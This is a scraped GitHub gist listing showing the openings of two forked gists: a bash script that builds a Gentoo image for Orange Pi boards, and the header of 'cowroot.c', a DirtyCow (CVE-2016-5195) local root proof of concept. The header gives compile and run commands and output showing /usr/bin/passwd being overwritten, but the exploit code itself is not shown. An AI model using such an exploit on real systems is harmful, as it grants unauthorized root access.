Skip to content

Instantly share code, notes, and snippets.

View gtgt's full-sized avatar
🏠
Working from home

GT gtgt

🏠
Working from home
View GitHub Profile
@gtgt
gtgt / build-orangepipc-gentoo.py
Last active March 11, 2016 16:30 — forked from atx/build-orangepipc-gentoo.py
Script for building a Gentoo image for the Allwinner H3, use at your own risk
#! /bin/bash
# This script builds a Gentoo image for the Allwinner H3
# Based on http://linux-sunxi.org/H3_Manual_build_howto
# Tested on Orange Pi PC
set -e
function green {
echo -e '\033[0;32m'$@'\033[0m'
@gtgt
gtgt / cowroot.c
Last active December 5, 2021 21:30 — forked from joshuaskorich/cowroot.c
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten